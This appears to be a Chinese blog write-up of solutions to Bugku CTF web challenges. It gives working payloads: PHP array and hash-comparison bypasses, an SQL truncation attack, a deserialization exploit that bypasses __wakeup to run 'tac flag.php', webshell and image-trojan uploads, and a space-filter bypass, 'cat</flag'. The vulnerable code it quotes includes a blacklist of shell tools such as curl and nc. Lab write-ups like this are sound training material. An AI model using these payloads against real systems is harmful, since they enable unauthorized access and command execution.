Bugku CTF web3

目录

字符?正则?

前女友

Login1

你从哪里来

各种绕过呦

file_get_content( )

 安慰奖

文件上传

文件包含2

需要管理员

点login咋没反应

都过滤了


字符?正则?

<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

trim()移除空白字符

这个文章超棒

 /key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

.                                  匹配除 "\n" 之外的任何单个字符

*                                 匹配它前面的表达式0次或多次,等价于{0,}

{4,7}                           最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符

\/                                匹配 / ,这里的 \ 是为了转义

[a-z]                           匹配所有小写字母

[:punct:]                     匹配任何标点符号

/i                                表示不分大小写

/?id=keyabckeyaaaaaakey:/a/keya!


前女友

翻出来源码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

md5弱比较直接数组绕过

strcmp() 两个变量相等返回0,!strcmp($v3, $flag)要为真

可以通过报错返回0,数组和字符串无法比较,所以V3也传个数组

/?v1[]=1&v2[]=2&v3[]=3

Login1

hint:SQL约束攻击

基于约束的SQL攻击 - Angel_Kitty - 博客园

没有遇到过,了解一下原理

sql处理字符串时(一般是在比较字符串时),会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。

"admin"和"admin  “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息

可以利用这个漏洞来绕过,方法:若注册时已知admin这个用户名存在,则我们可以注册admin(空格空格空格…)这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。

用admin( 加空格 )当做用户名来注册

然后用admin登录

就能获得真正admin的信息,也就是拿到flag 

你从哪里来

抓包设置 Referer 成功, 开始设置User-agent 没出来

各种绕过呦

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

逻辑也简单, uname不等于passwd ,但他两的sha1值相等,sha1也可以数组绕过

file_get_content( )

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

主要就是file_get_contents()文件包含漏洞

/flag.txt 里面有内容: bugku

直接构造$ac=bugku,然后 $fn=flag.txt 读取到bugku 就成功了

?ac=bugku&fn=flag.txt

当然也可以自己构造一个文件出来用 php://input协议

 安慰奖

提示backups(备份)、试了一下常见备份路径 index.php.bak

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

还是比较简单的,只需绕过__wakeup() ,读取文件用tac 就行

构造序列化如下

<?php

class ctf
{
    protected $username = 'admin';
    protected $cmd = 'tac flag.php';
}

$a = new ctf();
$b = serialize($a);
$c = str_replace(':2:', ':3:', $b);
echo urlencode($c);

文件上传

大家都说这题很坑,参考大佬文章

【bugku】web32 文件上传_小 白 萝 卜的博客-CSDN博客

后缀改成php4,这样是顺利连接上蚁剑了 ,用jpg连不上

文件包含2

这分明文件上传

根据提示 根目录访问upload.php 

 上传我的图片马

直接成功了

要在这个地址访问,显示成功,然后就可以连蚁剑

http://114.67.175.224:15398/index.php?file=upload/202204131146376442.png

需要管理员

robots.txt

访问 ,看见这个ip想到伪造ip ,但这题没用,底下有个get传参

根据题目,肯定想到搞一个admin出来,?x=admin 就给flag 了 

/resusl.php?x=admin

点login咋没反应

还以为login前端有啥问题,试了一下也没发现

dirsearch扫了一遍也没啥

css文件有个提示 

 直接访问/?17310 ,给源码了

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['17310'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>

条件也很简单

cookie传入序列化

都过滤了

  !,!=,=,+,^,-,% 像是只有这里的字符可以用

有个登录框,用admin ,bugkuctf登录进去 ,事实上是个sql盲注,有点麻烦看wp

WEB36,38:全都过滤了,你绝望吗(sql盲注)_不想带绿帽子的白帽子的博客-CSDN博客

Bugku WEB 都过滤了_显哥无敌的博客-CSDN博客_bugku 都过滤了

可以构造命令执行了 

这里查不到flag文件在哪里,只能是经验了,也许是在根目录下的flag

这里液过滤了空格 所以cat</flag

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值